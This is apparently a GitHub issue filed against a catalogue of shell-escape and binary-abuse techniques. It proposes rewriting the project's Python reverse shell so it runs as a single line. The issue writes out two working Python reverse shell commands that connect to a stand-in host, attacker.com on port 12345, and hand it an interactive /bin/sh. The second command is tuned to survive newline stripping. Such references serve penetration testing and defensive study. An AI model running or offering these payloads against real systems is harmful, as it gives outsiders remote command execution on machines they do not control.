Skip to content

[enhancement] Add ; to python reverse shell #502

@TypicalUsername-ai

Description

@TypicalUsername-ai

Hey i was attempting to use the reverse shell from python against a test box and encountered some errors due to not parsing newlines. Would it be viable to modify the reverse shell bin so it includes ; after every command so it can execute always in one line?
If so i would be happy to open a PR.

example:

export RHOST=attacker.com
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'

this will break on oneline execution like a single command invocation

python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

this can be executed in oneline even with \n pruning

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions